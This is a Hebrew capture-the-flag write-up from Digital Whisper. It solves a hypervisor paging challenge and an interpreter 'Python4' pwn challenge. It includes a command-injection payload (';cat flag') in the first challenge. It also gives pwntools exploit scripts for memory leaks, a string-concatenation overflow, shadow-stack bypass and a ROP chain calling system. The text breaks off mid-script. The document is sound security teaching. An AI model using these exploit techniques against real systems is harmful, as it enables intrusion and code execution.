Page Fault והתכנית מפסיקה את ריצתה 

 בכל גישה ל-PDE/PTE נקראת הפונקציה ,_validate_entry: 

def _validate_entry(self, Pentry, entry, prot): 

    entry.accessed = 1 

    if prot == self.WRITE: 

        entry.dirty = 1 

 

    entry_packed = entry.pack() 

    self._write_memory(Pentry, struct.pack("<I", entry_packed)) 

 

    if entry.present == 0: 

        raise OSError(f"Error: trying to resolve an unpreset address 

                      {entry_packed:x}") 

    if prot == self.WRITE and entry.write == 0: 

        raise OSError(f"Error: trying to write to unwriteable address 

                      {entry_packed:x}") 

    if prot == self.EXEC and entry.nx == 1: 

        raise OSError(f"Error: trying to fetch instruction from no- 

                      execute address {entry_packed:x}") 

 PDE/PTE-בכתיבה, מעדכנת את ה dirty-בגישה ו accessedניתן לראות שהיא מדליקה את הביטים של 

 .Exceptionנזרק  -בזיכרון הפיזי, ואז מוודאת שהביטים מתאימים לסוג הגישה לכתובת. אם לא 

 , מודפסת הודעת שגיאה, והתכנית ממשיכה לרוץ.main-נתפס ב Exception-ה -אם נזרק 

 נשלח את הקוד הבא: !Pagingאחלה, אז בואו נפעיל 

/* Enable paging */ 

svc 0; 

/* Exit */ 

svc 4; 

 

exit; 
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 נריץ, ונקבל:

 

 ?למה נזרקה פה השגיאה ?לא הבנתי, רגע, מה ?מזתומרת

, Page Table-. מכיוון שאין כלום ב., אז התחלנו לרוץ במרחב זיכרון וירטואלי.Pagingאהההההה, הפעלנו 

 לכתובת פיזית, ואז קיבלנו את השגיאה: 0x4000התכנית לא הצליחה לתרגם את הכתובת הוירטואלית 

OSError: Error translating virtual memory 4000 

 עובד. Paging-משלנו. למזלנו, כבר הבנו איך ה Page Tableאוקיי, אז אנחנו צריכים להכין 

/* Set Up Page Directory @ 0x5000 */ 

/* Make our ARM code (@ virt 0x4000) valid after activating paging */ 

/* PDE @ 0x5000 pointing to a PPTE @ 0x6000 */ 

mov r0, 0x5000 

/* 3 == Present + Write bits */ 

mov r1, 0x6003 

str r1, [r0] 

 

/* PTE @ 0x6010 pointing to physical Code Address @ 0x4000 */ 

/* 0x10 since the code virtual address is also 0x4000, and (0x4000 & 

0x3fffff >> 12) * SIZE_OF_PTR(4) == 0x10 */ 

mov r0, 0x6010 

/* 3 == Present + Write bits */ 

mov r1, 0x4003 

str r1, [r0] 

 

/* Set TTBR0 = 0x5000 */ 

mov r0, 0x5000 

svc 3; 

/* Enable paging */ 

svc 0; 

/* Exit */ 

svc 4; 

 

exit; 
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 יותר טוב:נראה 

 

 

, והקוד שלנו לא מקריס את העולם. נשאר לנו רק להצליח לבצע Pagingמעולה, הצלחנו להפעיל 

  אותנטיקציה!

להוסיף קבוצה עם נרצה , GROUP_PERM_SUPER-ל self._curr_permרוצים לשנות את  אנחנו :נזכיר

GROUP_PERM_USER .או לשנות את הערך בקבוצה הקיימת 

(, כי אין קוד שמשנה את Paging-, למי שהתגעגע לTableהאופציה הראשונה ישר יורדת מהשולחן )או 

self._curr_perm.ההגדרות שמורות בדף הפיזי  . נותרנו רק עם האופציה של לנסות לשנות את ההגדרות

0x0 -  0ז"א שהמטרה שלנו היא להצליח לכתוב לכתובת הפיזיתx0. 

, ונכתוב לשם מה שאנחנו Paging-, נכבה את ה0x0-, ההגדרות יכתבו בPagingקל מאוד! פשוט נפעיל 

 רוצים!

את הדף  )??, המנגנון שומר בצד )שומר בצד כסףPaging-כשמפעילים את ה אז זהו, שזה לא עובד 

 , הוא משחזר את הדף הזה.Pagingכשמכבים  הפיזי הראשון.

פשוט נמפה כתובת  מכתובת וירטואלית לכתובת פיזית!אנחנו שולטים על התרגום  אוקיי, תוכנית חדשה!

 , ואז נוכל לכתוב ולקרוא משם!0x0וירטואלית כלשהי לכתובת הפיזית 
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 , שמתרגמת כתובת וירטואלית לכתובת פיזית, מוודאת שהכתובתv_to_pהפונקציה  גם זה לא עובד.

 :HyperCall-הפיזית לא מצביעה להגדרות של ה

def v_to_p(self, v_addr, prot): 

    try: 

        PDE = self._get_pde(v_addr, prot) 

        PTE = self._get_pte(PDE, v_addr, prot) 

        p_addr = self._get_p_addr(PTE, v_addr, prot) 

    except struct.error: 

        raise OSError(f"Error translating virtual memory {v_addr:x}") 

 

    if HYPERCALL_PAGE_ADDR <= p_addr < HYPERCALL_PAGE_ADDR + PAGE: 

        raise OSError("Error ! page 0 is not available") 

 

    return p_addr 

, שכותבת לכתובת פיזית, ונראה אם באחת מהן נוכל write_memory_נחפש כל כתיבה עם  ?מה נשאר

 הכתובת.לשלוט על 

 !validate_entry_-יש כתיבה כזאת ב

def _validate_entry(self, Pentry, entry, prot): 

    entry.accessed = 1 

    if prot == self.WRITE: 

        entry.dirty = 1 

 

    entry_packed = entry.pack() 

    self._write_memory(Pentry, struct.pack("<I", entry_packed)) 

... 

 .!.סופי:1.0אז הנה התוכנית הסופית סופית.

-ושל ה accessed-, התרגום יגש לכתובת, ידליק את הביט של ה.שמצביע לכתובת הפיזית  PDEנייצר 

dirty והצלחנו לכתוב ביט לכתובת ,.! 

 …אלה רק שני ביטים ?רגע, איך זה עוזר לנו

 , ונבין אילו ביטים אנחנו משנים:PTE-הנסתכל שוב על המבנה של ההגדרות ושל 

Struct( 

"groups" / Int8ub, 

"time_activated" / PaddedString(LEN_OF_TIME_STR, "utf8"), 

"group_profiles" / Array(this.groups, Struct( 

    "group_perm" / Int8ub, 

) 

 

PTE 

PFN (20 bits) | Unused (7 bits) | NX (1 bit) | Dirty (1 bit) | Accessed (1 bit) | Write (1 bit) | 

Present (1 bit) 
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, HyperCall-ז"א שמבחינת ה !17-ל 1-מ groups, מה שיגדיל את dirty-ו accessedאנחנו מדליקים את 

זה  .! .-, שמוגדר לgroup_permקבוצות. בתוך כל קבוצה אחרי הקבוצה הראשונה יש  17עכשיו יש 

GROUP_PERM_USER - "א הצלחנו להוסיף קבוצה עם ההרשאות המתאימות, והצלחנו לעבור את ז

 הבדיקה ולבצע אותנטיקציה! הנה הסקריפט הסופי:

import struct 

 

COMMAND = ";cat flag\x00" 

COMMAND_ADDR = 0x4200 

instructions = """ 

/* Write COMMAND to physical COMMAND_ADDR */ 

{cmd} 

 

/* Set Up Page Directory @ 0x5000 */ 

/* Make our ARM code (@ virt 0x4000) valid after activating paging */ 

/* PDE @ 0x5000 pointing to a PPTE @ 0x6000 */ 

mov r0, 0x5000 

/* 3 == Present + Write bits */ 

mov r1, 0x6003 

str r1, [r0] 

 

/* PTE @ 0x6010 pointing to physical Code Address @ 0x4000 */ 

/* 0x10 since the code virtual address is also 0x4000, and (0x4000 & 

0x3fffff >> 12) * SIZE_OF_PTR(4) == 0x10 */ 

mov r0, 0x6010 

/* 3 == Present + Write bits */ 

mov r1, 0x4003 

str r1, [r0] 

 

/* PDE @ 0x5000 pointing to a PPTE @ 0x0 */ 

mov r0, 0x5004 

/* 3 == Present + Write bits */ 

mov r1, 0x0003 

str r1, [r0] 

 

/* Set TTBR0 = 0x5000 */ 

mov r0, 0x5000 

svc 3; 

/* Enable paging */ 

svc 0; 

 

/* Write to virt @ 0x400000, which goes for the PDE @ 0x5004, returning 

PTE @ 0x0, which then sets entry.accessed and entry.dirty and then fails 

*/ 

/* This actually writes to physical address 0x0 (hypercall_settings), 

changing the "groups" field to a number > 1 */ 

mov r0, 0x400000 

str r1, [r0] 

 

/* Hypercall - Change Time (14) - Points to our command */ 

mov r0, 14 

mov r1, 0x{cmd_addr:0x} 

mov r2, 16 

svc 2; 

 

/* Disable Paging - Settings are saved to a file, we should get the flag 

*/ 
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svc 1; 

 

/* Exit */ 

svc 4; 

 

exit; 

""" 

# Generate short writes to COMMAND_ADDR 

cmd = [] 

for i in range(0, len(COMMAND), 2): 

    cmdbytes = struct.unpack("<H", COMMAND[i:i+2].ljust(2, "\x00"))[0] 

    cmd.append("mov r0, 0x%x; mov r1, %d; str r0, [r1]; " % 

    (cmdbytes, COMMAND_ADDR + i)) 

cmd = ''.join(cmd) 

 

instructions = instructions.format(cmd=cmd, cmd_addr=COMMAND_ADDR) 

 

print instructions 

 

with open('code.arm', 'wb') as f: 

    f.write(instructions) 

 

 :flag-נשלח את הקוד לשרת, ונקבל בפלט את ה

flag{Pr0c3550r_bu65_ar3_th3_b357_bu65} 
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 Python4 שם האתגר:

 600 ניקוד:

 

 :פתרון

שמריץ פקודות בשפה מומצאת )לא דומה לפייתון, לצערי(,  Interpreterאנו מקבלים בינארי המממש 

 .C-, ואת קוד המקור לאותו בינארי, שנכתב בInterpreter-דוגמא לסקריפט שניתן להריץ ב

המייצרת מחסנית מקבילה למחסנית האמיתית,  - Shadow Stackהבינארי קומפל עם הגנה שנקראת 

היה לוודא שהן לא השתנו ברגע שחוזרים מפונקציה המכילה רק את כתובות החזרה, על מנת שניתן י

 על המחסנית(. Buffer Overflow)לדוגמא, בגלל 

 .Shadow Stack-ז"א, שבקריאה לפונקציה כלשהי, כתובת החזרת תידחף למחסנית האמיתית ול

 Shadow-לפני החזרה מאותה הפונקציה, כתובת החזרה שעל המחסנית האמיתית תושווה לכתובת שב

Stack התוכנית מפסיקה את הריצה שלה. -. אם הכתובת שונות 

, והוסיפו fsanitize=shadow-call-stackעל מנת להפעיל את ההגנה הזו, הוסיפו בקימפול את הדגל 

 בתור מערך גלובאלי: shadow stack-פונקציה שרצה בתחילת התכנית ומגדירה את ה

#define NO_SHADOW_STACK_ATTR __attribute__((no_sanitize("shadow-call-

stack"))) 

#define CONSTRUCTOR_ATTR __attribute__((constructor)) 

 

__attribute__((aligned(16))) uint8_t SHADOW_STACK[4096] = {0}; 

 

CONSTRUCTOR_ATTR NO_SHADOW_STACK_ATTR void initiliaze_shadow_stack(void) 

{ 

   // In clang's 'shadow-call-stack', the shadow stack is stored in 

'gs'. 

    arch_prctl(ARCH_SET_GS, (void *)SHADOW_STACK); 

} 

 

 נראה שאסור לנו לדרוס כתובות חזרה או שהכל יקרוס. ננסה ללמוד עוד על התכנית. -עד כה, מגניב 
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 ?עובד Interpreter-איך ה

-את ה instructionבשם  struct-שורה, ומכניס ל-מקבל את כמות השורות, מפרסר שורה Interpreter-ה

type .)לאחר הפרסור,  המתאים לפקודה באותה השורה ואת הפרמטרים של הפקודה )אם יש כאלה

, שמקבלת סקריפט מפורסר ושם של פונקציה להריץ execute_interpreter_functionנקראת הפונקציה 

 Interpreter-לאחר שהסקריפט סיים לרוץ, ה ".mainיה הראשונה שמתחילה לרוץ נקראת "ממנו. הפונקצ

ז"א שהתהליך הוא אותו תהליך, ואם נרצה לבצע פעולות מכמה  -מאפשר לנו להריץ סקריפט נוסף 

 יהיה ניתן לעשות זאת. סקריפטים שונים )לדוגמא, דריסה של זיכרון או הדלפת כתובת(,

הפונקציה  .execute_instructionsלכל פקודה יש פונקציה מתאימה במודול  ?תמה הולך עם הפקודו

ים label, שמכיל את רשימת הפקודות )משמש למציאת interpreter_script_tמקבלת ארגומנט מטיפוס 

הפונקציה מקבלת  ( ואת המשתנים הלוקאלים שהוגדרו בפונקציה הנוכחית.Control Flowבפקודות 

 , שמכיל את הפרמטרים של אותה הפקודה.interpreter_instruction_tיפוס ארגומנט נוסף, מט

 הסקריפט לדוגמא שקיבלנו מדגים בצורה טובה את המבנה של הפקודות:

24 

label mul 

def arg1 0x0 

def arg2 0x0 

load arg1 $0 

load arg2 $1 

def prod 0x0 

def one 0x1 

label mul_loop 

add prod prod arg2 

sub arg1 arg1 one 

cbz arg1 mul_end 

jmp mul_loop 

label mul_end 

store $0 prod 

ret 

label main 

def a 0x6 

def b 0x7 

store $0 a 

store $1 b 

call mul 

load a $0 

print a 

ret 

n 
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 בפירוט:

 Control Flow 

o nop -  מדפיסהNope! 

o label {name} -  מגדירהlabel  בשםname אליו אפשר לבצע ,jmp  אוcall 

o jmp {label} - קפיצה ל-label 

o call {label} - קריאה ל-label 

 הקריאה משתמשת ב-execute_interpreter_function שמשתמשת במחסנית של התכנית ,

 (interpreter_local_vars_tכדי ליצור קונטקסט חדש )משתנה מסוג 

o ret - חוזר מפונקציה 

  מחזירהINSTRUCTION_EXEC_CMD_RET מה שגורם ל-  

execute_interpreter_function .לשחזר את הקונטקסט של הפונקציה הקודמת ולחזור 

o cbz {var} {label} - קופצת ל-label  אםvar == 0 
 

 פעולות חשבוניות 

o add {var_dest} {var_1} {var_2} - שומרת ב-dest_var  את ערך החיבור שלvar_1 + var_2 

 עובדת על שני מספרים שלמים או שתי מחרוזות 

o sub {var_dest} {var_1} {var_2} - שומרת ב-dest_var  את ערך החיסור שלvar_1 - var_2 

 עובדת על שני מספרים שלמים או שתי מחרוזות 

  חיסור בין מחרוזות עובד אםvar_2  היא סיומת שלvar_1 ,אחרת .var_dest שווה ל-var_1 

  גלובלייםרגיסטרים 

o load {var} {reg} -  טוען למשתנה מטיפוס מספרvar  את הערך שבתוךreg 

o store {reg} {var} -  טוען לרגיסטרreg  את הערך שבתוךvarמשתנה מטיפוס מספר , 
 

 משתנים 

o def {var_name} {val} -  מגדיר משתנה בשםvar_name  עם הערךval 

 val ו מחרוזתיכול להיות מספר בייצוג הקסאדצימילי א 

o mov {var_dest} {var_src} -  מעתיק את הערך בתוךvar_src  לתוךvar_dest 

o print {var} -  מדפיס את התוכן שלvar 

, שנמצא על flag-נרצה להבין לאן אנו מכוונים. באיזו דרך נוכל לקרוא את ה-כמו באתגרים הקודמים 

 , או קריאה מקבצים.flag-לעומת אתגרים קודמים אין בקוד אזכור ל ?השרת באותה התיקייה כמו הבינארי

 .flag-כנראה שהפעם נצטרך לנצל חולשה בינארית, להשיג הרצת קוד ולקרוא את ה
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הארור שמגן  shadow stack-נתבונן קצת מסביב, ונראה את ה !IDA-ברגעי צרה ולא נודע, נלך אנחנו אל ה

 על כל פונקציה:

 

, ואז כותב 6-ב shadow stack-שמגדיל את האופסט לחלק העליון של ה -הוא האתחול החלק הראשון 

את  shadow stack-קוראים מה -החלק השני הוא הבדיקה בחזרה מהפונקציה  לשם את כתובת החזרה.

 קריסה. -הכתובת חזרה השמורה, ומשווים אותה לאחת שנמצאת על המחסנית. אם הן לא זהות 

 ואכן נמצא: IDA-.. נחפש אותה ב.הוגדרה כגלובאלי בתכנית שלנו shadow stack-אנחנו יודעים שה

 

 רגע...

 מצאנו פה משהו מעניין! רגע רגע רגע...

 ?מה יקרה לרגיסטרים הגלובליים אם נקרא לפונקציה בצורה רקורסיבית

6 

label main 

def a 0xdeadbeef 

load a $0 

print a 

call main 

ret 

n 

 

 

 אבל לפני שהיא קרסה, קרה עוד משהו: התכנית קרסה!הופה! 
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זה אומר שאנחנו יכולים  !shadow stack-השתנה לאחד מערכי החזרה שנדחף ל $0הרגיסטר הגלובאלי 

בקלות להדליף את הכתובת של הבינארי, ושיש לנו דרך לדרוס כתובות חזרה בלי לקרוס! פשוט נשתמש 

 כל ערך שמתחשק לנו! shadow stack-כדי לשים ב store-ב

 אוקיי, התחלה מעולה. עכשיו אנחנו צריכים למצוא דרך לדרוס כתובת חזרה.

בו באג שיאפשר לנו לדרוס  ההמקום הכי סביר שיהי -נעבור על כל הפקודות שמתעסקות במחרוזות 

 ערכים על המחסנית. מחרוזות זה קשה.

 ?עבור מחרוזות. אתם רואים את הבאג addמעבר על הקוד, מצאתי משהו מעניין בפקודה  הרבהאחרי 

interpreter_var_t * dest_var = find_var(script->local_vars, 

instruction->operands.add_operands.dest_var); 

interpreter_var_t * op1_var = find_var(script->local_vars, 

instruction->operands.add_operands.op1_var); 

interpreter_var_t * op2_var = find_var(script->local_vars, 

instruction->operands.add_operands.op2_var); 

// ... 

const char * op1_str = op1_var->var_value.var_value_string; 

const char * op2_str = op2_var->var_value.var_value_string; 

char * dest_str = dest_var->var_value.var_value_string; 

dest_var->var_type = VAR_TYPE_STR; 

if ((strlen(op1_str) + strlen(op2_str) + 1) > sizeof(dest_var-

>var_value.var_value_string)) 

{ 

    puts("String addition failed - size too long"); 

    return INSTRUCTION_EXEC_CMD_ERROR; 

} 

strncpy(dest_str, op1_str, sizeof(dest_var-

>var_value.var_value_string)); 

strncat(dest_str, op2_str, strlen(op2_str)); 

 

מה קורה אם מריצים  אז זהו, שלא! נראה כמו חיבור מחרוזות לגיטימי, עם בדיקות מתאימות, בלי באגים.

. עד כה, נראה שהכל var_2את  var_1יעתיק לתוך  strncpy-ה ?add var_1 var_2 var_1את הפקודה 

אבל רגע,  , שזה גם נראה לגיטימי.var_1-את המחרוזת ב var_1-יחבר לתוך מה שיש ב strncat-ה בסדר.

הבדיקה של אורכי המחרוזות,  אחריהשתנה  var_2 .var_1-בדיוק את מה שיש ב ?var_1-מה יש כרגע ב

, var_1 = var_2 + var_1במקום לעשות  מה שמאפשר לנו לדרוס מעל הגודל המקסימלי של המחרוזת!

 !var_1 = var_2 + var_2יצא שעשינו 

  ?אוקיי, מה אנחנו דורסים בכלל
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, והם מטיפוס execute_interpreter_functionהמשתנים הלוקאלים מוגדרים על המחסנית בפונקציה 

interpreter_local_vars_t משתנים. 70, שזה פשוט מערך של 

#define VAR_NAME_MAX_LEN (16) 

#define VAR_STR_VALUE_MAX_LEN (64) 

#define LOCAL_VARS_AMOUNT (32) 
 

typedef struct interpreter_var_s 

{ 

    char var_name[VAR_NAME_MAX_LEN]; 

    interpreter_var_type_t var_type; 

    union var_value_u 

    { 

        char var_value_string[VAR_STR_VALUE_MAX_LEN]; 

        int64_t var_value_int; 

    } var_value; 

} interpreter_var_t; 
 

typedef struct interpreter_local_vars_s 

{ 

    interpreter_var_t vars[LOCAL_VARS_AMOUNT]; 

} interpreter_local_vars_t; 

 נדרוס את המשתנה האחרון בגודל המקסימלי האפשרי כדי לראות לאן מגיעה הדריסה שלנו:

35 

label main 

def t0 0x0 

def t1 0x0 

def t2 0x0 

def t3 0x0 

def t4 0x0 

def t5 0x0 

def t6 0x0 

def t7 0x0 

def t8 0x0 

def t9 0x0 

def t10 0x0 

def t11 0x0 

def t12 0x0 

def t13 0x0 

def t14 0x0 

def t15 0x0 

def t16 0x0 

def t17 0x0 

def t18 0x0 

def t19 0x0 

def t20 0x0 

def t21 0x0 

def t22 0x0 

def t23 0x0 

def t24 0x0 

def t25 0x0 

def t26 0x0 

def t27 0x0 

def t28 0x0 

def t29 0x0 

def s1 " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC" 

def s2 "B" 

add s2 s1 s2 

ret 

n 
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 קול. קול קול קול.

, אבל כבר הבנו shadow stack-כמובן שקרסנו בגלל ה הצלחנו לדרוס את ערך החזרה ומה שבא אחריו!

 ק הזה פתיר.לשהח

כמו כל השמשה קלאסית, בגלל שהבינארי לא מייבא פונקציות שיכולות לעזור לנו )לדוגמא,  ?מה הלאה

system נרצה להדליף את הכתובת של ,)libc.אנו יכולים  , על מנת שנוכל להשתמש בגאדג'טים משם

ראינו שהמשתנים נמצאים על המחסנית, צמודים אחד  להשתמש באותו הבאג על מנת להדליף כתובת!

נשתמש בבאג כדי  .VAR_TYPE_UNDEF == 2שלו הוא לא  type-משתנה נחשב "מוגדר" כשה לשני.

בסוף המחרוזת. על  NULL-באמצעות ה VAR_TYPE_STR (0)-ל type-לדרוס מספיק על מנת לשנות את ה

 הדרך, נדרוס גם את השם של המשתנה.

ה ביותר את הריצה כפי שהיא שהביאו לנו על מנת לחקות בצורה הטוב libc-בשלב זה, חשוב שנשתמש ב

ז"א שהדלפה שעבדה אצלנו, לא בהכרח  -שונה  stack layoutשונה יכולה לגרור  libcבשרת. גרסת 

 תעבוד מול השרת.
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נכתוב קוד שמנסה לדרוס משתנה לוקאלי שונה בכל פעם על מנת להדליף אזור שונה במחסנית, עד 

 :שלה זהה בין הריצה שלנו לריצה בשרת lsb-שדולפת גם אצלנו וגם בשרת, וה libcשנשיג כתובת של 

from pwn import * 

from binascii import hexlify 

 

def get_process(): 

    p = remote("localhost", 9023) 

    return p 

 

def gen_libc_leak_payload(num_temp): 

    payload     = ['label main'] 

    payload_end = ['def s1 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"', 

                   'def s2 "B"', 

                   'add s2 s1 s2', 

                   'print AAAAAAAAAAAAAAAA', 

                   'ret'] 

 

    for i in range(num_temp): 

        payload.append('def temp%d 0xDEADBEEF' % i) 

 

    payload = payload + payload_end 

    return len(payload), '\n'.join(payload) 

 

def test_leaks(): 

    global p 

 

    for i in range(0, 32): 

        p = get_process() 

        l, payload = gen_libc_leak_payload(i) 

        p.sendline('\n'.join([str(l), payload, 'n'])) 

        p.recvuntil("variable: 'AAAAAAAAAAAAAAAA', value: \"") 

        leak = p.recvuntil('"')[:-1].ljust(8, '\x00') 

        if len(leak) > 8: 

            print i, "Long leak: " + hexlify(leak) 

        else: 

            print i, hex(u64(leak)) 

 

test_leaks() 

 נקבל:
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-ל gdbנוריד  !d0d-נראה שגם שם אנו מקבלים כתובת שמסתיימת ב -ואם נשווה עם ריצה מול השרת 

dockerנריץ שם את אותו ה ,-POC  ונראה שזאת אכן כתובתlibcשהמרחק שלה מכתובת הטעינה של , 

libc  0הואx7ffff7e72d0d - 0x7ffff7dd3000. 

 כמובן שלא, כי אז זה היה קל מדי. ?, אז ניצחנוone_gadgetאחלה, יש דליפה, יש דריסה, ויש 

one_gadget זאת כתובת קסם ב-libc שאם קופצים אליה מקבלים ,shell אפשר למצוא אותה באמצעות .

 יש תנאים שאנחנו צריכים לרצות. ספציפית עכשיו: -. הבעיה שהיא לא תמיד עובדת one_gadgetהכלי 

 

 אבל אחרי הדריסה שלנו:

 

הבעיה שהדריסה שלנו  .rdxאו  r15-ו r12אנחנו לא שולטים בכלל, אז היינו רוצים לאפס את  rsiעל 

ים בבתים שאנחנו NULL, לכן לא נוכל לשים strncat, strncpy -מסתמכת על פונקציות של מחרוזות 

 דורסים.

. ז"א שנרצה להשתמש איכשהו בשני הערכים שאנחנו דורסים, מה שמעלה עוד one_gadgetאז לא 

הבתים של הכתובות נמצאים  6מתוך  8ים בסוף, כי רק NULLכל כתובת שנשים על המחסנית תכיל  בעיה:

 בשימוש

  

https://github.com/david942j/one_gadget
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 תראה ככה: ז"א שנרצה שהדריסה שלנו

AAAAAAAAAA[BBBBBB\x00\x00][CCCCCC\x00\x00] 

באמצע המחרוזת שאנו  NULLאבל אנחנו לא יכולים להגיע לזה בצורה טריוויאלית, כי אי אפשר לשים 

 ( תהיה:1ז"א דריסה ) ?מה אם נדרוס הרבה, ואז נקצר את המחרוזת שאנחנו דורסים דורסים איתה.

AAAAAAAAAA[BBBBBBBB][CCCCCC\x00\x00] 

 (:0ואז )

AAAAAAAAAA[BBBBBBB\x00] 

 (:7ואחר כך )

AAAAAAAAAA[BBBBBB\x00] 

 ואז נקבל:

AAAAAAAAAA[BBBBBB\x00\x00][CCCCCC\x00\x00] 

אנו מעתיקים את אותה  -רעיון מעולה! רק שהוא לא יעבוד, כי האורך של הדריסה הוא בהכרח זוגי 

 (.0. ז"א שלא נוכל לבצע את )var_1 = var_2 + var_2. פעמייםחסנית המחרוזת למ

 (, נקבל:7( ואז את )1אם נעשה רק את )

AAAAAAAAAA[BBBBBB\x00B][CCCCCC\x00\x00] 

 ?לנו חסרמה  ?בכל זאת, איך מתגברים על זה לא טוב.

 (!0אפשר להשתמש בפונקציה שמחסרת מחרוזות בשביל לבצע את )

const char * op1_str = op1_var->var_value.var_value_string; 

const char * op2_str = op2_var->var_value.var_value_string; 

char * dest_str = dest_var->var_value.var_value_string; 

dest_var->var_type = VAR_TYPE_STR; 

size_t len_to_copy = strlen(op1_str); 

if ((strlen(op2_str) <= strlen(op1_str)) && 

    (strcmp(op1_str + strlen(op1_str) - strlen(op2_str), op2_str) == 0)) 

{ 

    len_to_copy -= strlen(op2_str); 

} 

strncpy(dest_str, op1_str, len_to_copy); 

dest_str[len_to_copy] = '\0'; 

 , אז חיסור שלהם יביא:”var_2=”B-ו ”var_1 = “AAAABBBB, לדוגמא var_1נמצא בסוף של  var_2אם 

var_1 - var_2 = “AAAABBB” 

 

 בשלב הזה, יכול להיות ש-one_gadget  היה עובד. אפשר לאפס אתr12, r15  שנמצאים בשליטתנו

במהלך האתגר פתרתי בדרך  הראשון. one_gadget-, ואז כנראה שיכולנו להשתמש בsubבאמצעות 

 אחרת, אז אני משאיר את זה כתרגיל לקורא 
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ים, יש דליפות, יש דריסה, ויש שני ערכים בשליטתנו על המחסנית החל מכתובת -NULLבשלב זה, יש לנו 

 ?החזרה. אבל איך מנצחים עם רק שתי כתובות מחסנית

, ובערך libc-מ pop rspאת ערך החזרה נדרוס עם גאדג'ט של  יש את כל הגאדג'טים בעולם בערך. libc-ל

כדי שלא , stack alignmentיש לשים לב שאנו שומרים על  שאחריו נשים כתובת מהרגיסטרים הגלובליים.

כלשהי, פשוט  xmm0 movאם אנחנו קורסים על פקודת  - alignmentקל לתקן  .SIMDנקרוס מפקודות 

 בתים. 6-נכין את המחסנית בכתובת גבוהה יותר ב

נזכיר שאפשר לשלוח כמה סקריפטים אחד אחרי השני, ז"א שכל הכתובות שאנו  אפשר להתחיל במימוש!

 מדליפים ישארו חוקיות.

  0סקריפט 

 באמצעות זיוף משתנה לוקאלי על המחסנית והדפסתו. libcנדליף את הכתובת של  11

 זה הדבר הראשון שנעשה, מכיוון שההדלפה הזו לא תמיד עובדת.

 

  2סקריפט 

באמצעות פונקציה רקורסיבית שמפסיקה את ריצתה כאשר  נדליף את הכתובת של הבינארי 01

 הרגיסטר שנדרס., ואז נדליף את shadow stack-הרגיסטרים הגלובליים נדרסים על ידי ה

 

  3סקריפט 

 יגיע לאזור של הרגיסטרים. shadow stack-עד שה נבצע קריאות רקורסיביות לפונקציה 71

 .storeבאמצעות פקודות  נכתוב ערכים ברגיסטרים הגלובליים 41

 * מכיוון שהדלפנו את הכתובת של הבינארי, אנו יודעים את הכתובות שלהם.

a. שאנו עומדים לדרוס איתה את כתובת החזרה המקורית. נכתוב את כתובת החזרה 

b. נכתוב את הפקודה ( שאנו רוצים להריץcat flag.) 

c. שנשתמש בה בהמשך. נכין את המחסנית 

i. pop rdi; ret; 

ii.  הכתובת שלcat flag 

iii. system 

 (1) נבצע את הדריסה הראשונה 91

 sub (0)במקום המתאים באמצעות פקודת  NULLנשים  81

 (7) השנייהנבצע את הדריסה  51

 , שתחזור לכתובת החזרה בשליטתנוretבאמצעות  נחזור מהפונקציה 61

  

https://www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/
https://www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/
https://www.cameronwickes.com/stack-alignment-ubuntu-18-04-movaps/
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 ובקוד )לא יפה במיוחד, יש לציין(:

from pwn import * 

from binascii import hexlify 

 

REMOTE_HOST = "python4.shieldchallenges.com" 

REMOTE_PORT = 7400 

BINARY_NAME = "./python4" 

 

binary = ELF(BINARY_NAME) 

if args.REMOTE or args.LREMOTE: 

    libc = ELF('./libc-2.31.so') 

 

else: 

    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 

 

def get_process(): 

    if args.REMOTE: 

        p = remote(REMOTE_HOST, REMOTE_PORT) 

    elif args.LREMOTE: 

        p = remote("localhost", 9023) 

    elif args.GDB: 

        p = gdb.debug(args=[BINARY_NAME], 

                      gdbscript=GDB_SCRIPT, 

                      env={"LD_PRELOAD":"./libc-2.31.so"}) 

    else: 

        p = process(["./ld-2.31.so", BINARY_NAME], env={"LD_PRELOAD":"./libc-

2.31.so"}) 

 

    return p 

 

def gen_libc_leak_payload(num_temp): 

    payload     = ['label main'] 

    payload_end = ['def s1 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"', 

                   'def s2 "B"', 

                   'add s2 s1 s2', 

                   'print AAAAAAAAAAAAAAAA', 

                   'ret'] 

 

    for i in range(num_temp): 

        payload.append('def temp_%d 0xDEADBEEF' % i) 

 

    payload = payload + payload_end 

    return len(payload), '\n'.join(payload) 

 

LIBC_LEAK_OFFSET = 0x7ffff7e72d0d - 0x7ffff7dd3000 

def leak_libc_base(): 

    global p 

    no_leak = True 

 

    while no_leak: 

        p = get_process() 

        l, payload = gen_libc_leak_payload(25) 

        p.sendline('\n'.join([str(l), payload, 'y'])) 

        p.recvuntil("variable: 'AAAAAAAAAAAAAAAA', value: \"") 

        leak = p.recvuntil('"')[:-1].ljust(8, '\x00') # 0x00007ffff7e72d0d 

        if len(leak) > 8: 

            print i, "Long leak: " + hexlify(leak) 

        else: # 0xd0d 

            libc_base = u64(leak) - LIBC_LEAK_OFFSET 

            if (libc_base & 0xFFF == 0) and (libc_base & 0xFF0000000000 == 

0x7F0000000000): 

                no_leak = False 

        if no_leak: 

            p.close() 

 



 
 

 0.01כ השב" PWN-ו RE פתרון אתגרי
www.DigitalWhisper.co.il 

 58  2021 מרץ ,127גליון 
 

    return libc_base 

 

def gen_binary_leak_payload(): 

    payload = ['label rec', 

                'def i 0x0', 

                'load i $9', 

                'def one 0x1', 

                'def big 0xFF', 

                'add i i one', 

                'store $9 i', 

                'sub i i big', 

                'cbz i stop', 

                'call rec', 

                'label stop', 

                'ret', 

                'label main', 

                'def i 0x0', 

                'def leak 0xDEADBEEF', 

                'store $0 leak', 

                'store $9 i', 

                'call rec', 

                'load leak $0', 

                'print leak', 

                'ret'] 

    return len(payload), '\n'.join(payload) 

 

BINARY_LEAK_OFFSET = 0x555555557a45 - 0x555555554000 

def leak_binary_base(): 

    global p 

 

    l, payload = gen_binary_leak_payload() 

    p.sendline('\n'.join([str(l), payload, 'y'])) 

    p.recvuntil("variable: 'leak', value: ") 

    leak = int(p.recvuntil('\n')[:-1], 16) 

    assert leak & 0xa45 == 0xa45, "Invalid binary leak: " + hex(leak) 

    return leak - BINARY_LEAK_OFFSET 

 

def gen_rip_payload(rip, rsp_val, pop_rdi_ret, rdi, system): 

